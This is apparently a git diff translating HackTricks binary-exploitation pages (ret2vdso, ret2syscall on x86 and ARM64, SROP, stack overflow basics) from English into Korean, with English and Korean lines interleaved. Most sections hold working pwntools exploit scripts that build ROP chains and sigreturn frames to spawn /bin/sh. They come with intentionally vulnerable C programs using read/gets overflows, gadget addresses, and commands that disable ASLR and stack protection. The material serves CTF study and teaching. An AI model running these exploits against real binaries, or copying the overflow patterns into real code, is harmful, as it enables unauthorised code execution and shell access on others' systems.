이진 파일이 Puts를 사용하지 않는 경우 **사용하고 있는지 확인해야 합니다.**
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
모든 익스플로잇을 생성한 후 **이 오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh"의 주소에서 64 바이트를 빼보세요.**
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,9 @@
## Basic Information
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
**vDSO 영역에 가젯이 있을 수 있습니다**, 이는 사용자 모드에서 커널 모드로 전환하는 데 사용됩니다. 이러한 유형의 도전에서는 일반적으로 vDSO 영역을 덤프하기 위해 커널 이미지가 제공됩니다.
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)의 예를 따르면, vdso 섹션을 덤프하고 호스트로 이동하는 방법을 확인할 수 있습니다:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
ROP 가젯 발견:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> 따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 **vdso를 악용하여 ASLR을 우회**할 수 있는 방법이 있을 수 있음을 주의하십시오. vdso 주소는 무작위화되지 않습니다: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
kali 2023.2 arm64에서 바이너리의 vdso 섹션을 덤프하고 확인한 후, 스택의 값에서 레지스터를 제어하거나 ret를 위한 x30을 제어할 수 있는 흥미로운 가젯을 찾을 수 없었습니다 **SROP을 호출하는 방법을 제외하고**. 페이지의 예에서 더 많은 정보를 확인하십시오:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 `/bin/sh`를 실행하기 위해 `sys_execve` 시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다.
In order to prepare the call for the **syscall** it's needed the following configuration:
**syscall** 호출을 준비하기 위해서는 다음과 같은 구성이 필요합니다:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 sys_execve 지정`
- `rdi: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
- `rsi: 0, 전달된 인수 없음 지정`
- `rdx: 0, 전달된 환경 변수 없음 지정`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 인식해야 함). 이를 위해, 알려진 영역에 `/bin/sh`를 작성할 수 있는 가젯이 필요합니다.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게** 합니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합될 수 있습니다.
## Register gadgets
Let's start by finding **how to control those registers**:
## 레지스터 가젯
**이 레지스터들을 제어하는 방법**을 찾는 것부터 시작합시다:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
이 주소들을 사용하면 **스택에 내용을 쓰고 레지스터에 로드할 수 있습니다**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## 문자열 쓰기
## Write string
### Writable memory
First you need to find a writable place in the memory
### 쓰기 가능한 메모리
먼저 메모리에서 쓰기 가능한 장소를 찾아야 합니다.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### 메모리에 문자열 쓰기
### Write String in memory
Then you need to find a way to write arbitrary content in this address
그런 다음 이 주소에 임의의 내용을 쓸 수 있는 방법을 찾아야 합니다.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### ROP 체인 자동화
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
다음 명령은 쓰기-무엇-어디에 가젯과 시스템 호출 명령이 있을 때 정적 바이너리를 기반으로 전체 `sys_execve` ROP 체인을 생성합니다:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32 비트
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### 64 비트
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## 부족한 가젯
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, 스택에서 모든 레지스터 값(RIP 및 파라미터 레지스터 포함)을 제어하기 위해 **SROP 기법을 사용할 수 있습니다**:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## 익스플로잇 예제
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## 다른 예제 및 참고자료
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다. 스택에 수학 연산을 수행하는 함수를 작성하기 위해 악용됩니다.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64비트, PIE 없음, nx, BF 카나리, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64에 대한 소개는 다음에서 확인하세요:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -10,72 +10,65 @@ Find an introduction to arm64 in:
## Code
We are going to use the example from the page:
우리는 다음 페이지의 예제를 사용할 것입니다:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
PIE와 카나리 없이 컴파일:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
**syscall** 호출을 준비하기 위해 다음 구성이 필요합니다:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
- `x8: 221 sys_execve 지정`
- `x0: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
- `x1: 0, 전달된 인수 없음 지정`
- `x2: 0, 전달된 환경 변수 없음 지정`
ROPgadget.py를 사용하여 머신의 libc 라이브러리에서 다음과 같은 가젯을 찾을 수 있었습니다:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
이전의 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 두 번째 가젯으로 점프하여 syscall을 호출할 수 있습니다.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> libc 라이브러리의 이 정보를 아는 것은 ret2libc 공격을 수행할 수 있게 해주지만, 현재 예제에서는 이를 사용합시다.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,22 @@
## Basic Information
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 기능을 사용하여 현재 작업을 일시적으로 중단합니다.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드할 레지스터 값**을 **스택**에 추가하면 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 `execve` syscall을 `/bin/sh`로 **호출**할 수 있습니다.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 한 유형**이라는 점에 유의하십시오:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
궁금하다면, 이는 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조체**입니다 (다이어그램은 [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)에서 확인할 수 있습니다):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
더 나은 설명을 원하시면 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## 예시
여기에서 ROP를 통해 signeturn 호출이 구성된 [**예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf`를 넣음), 비록 이것이 최종 익스플로잇입니다:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
또한 [**여기서 익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 여기서 바이너리가 이미 `sigreturn`을 호출하고 있으므로 **ROP**를 구축할 필요가 없습니다:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## 다른 예제 및 참고자료
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리 메모리 내의 플래그를 읽을 수 있습니다.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있습니다).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수의 단순한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행합니다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있습니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용됩니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Pwntools 예제
이 예제는 취약한 바이너리를 생성하고 이를 악용합니다. 바이너리는 **스택에 읽어들인 후** **`sigreturn`**을 호출합니다:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof 예제
## bof example
### Code
### 코드
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
다음과 같이 컴파일하세요:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 스택을 준비하여 **`execve`**를 `/bin/sh`에 대한 포인터와 함께 호출합니다.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## bof 예제 (sigreturn 없이)
## bof example without sigreturn
### Code
### 코드
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
**`vdso`** 섹션에서 오프셋 **`0x7b0`**에 **`sigreturn`** 호출을 찾을 수 있습니다:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
따라서, 유출되면 이 주소를 **`sigreturn`**에 접근하는 데 사용할 수 있습니다, 만약 바이너리가 이를 로드하지 않는다면:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
vdso에 대한 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
그리고 `/bin/sh`의 주소를 우회하려면 이를 가리키는 여러 환경 변수를 생성할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -4,35 +4,32 @@
## What is a Stack Overflow
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기준 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사**하기 때문에 발생하여, 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
이러한 취약점에 일반적으로 노출되는 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약한 방식으로 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### 스택 오버플로우 오프셋 찾기
### Finding Stack Overflows offsets
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 \_n**\_\*\*의 모든 가능한 부분 수열이 **정확히 한 번** 연속 부분 수열로 나타나는 **순환 수열**입니다.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이를 위해 **pwntools**를 사용할 수 있습니다:
```python
from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
또는 **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## 스택 오버플로우 악용
## Exploiting Stack Overflows
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP와 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지).
### Ret2win
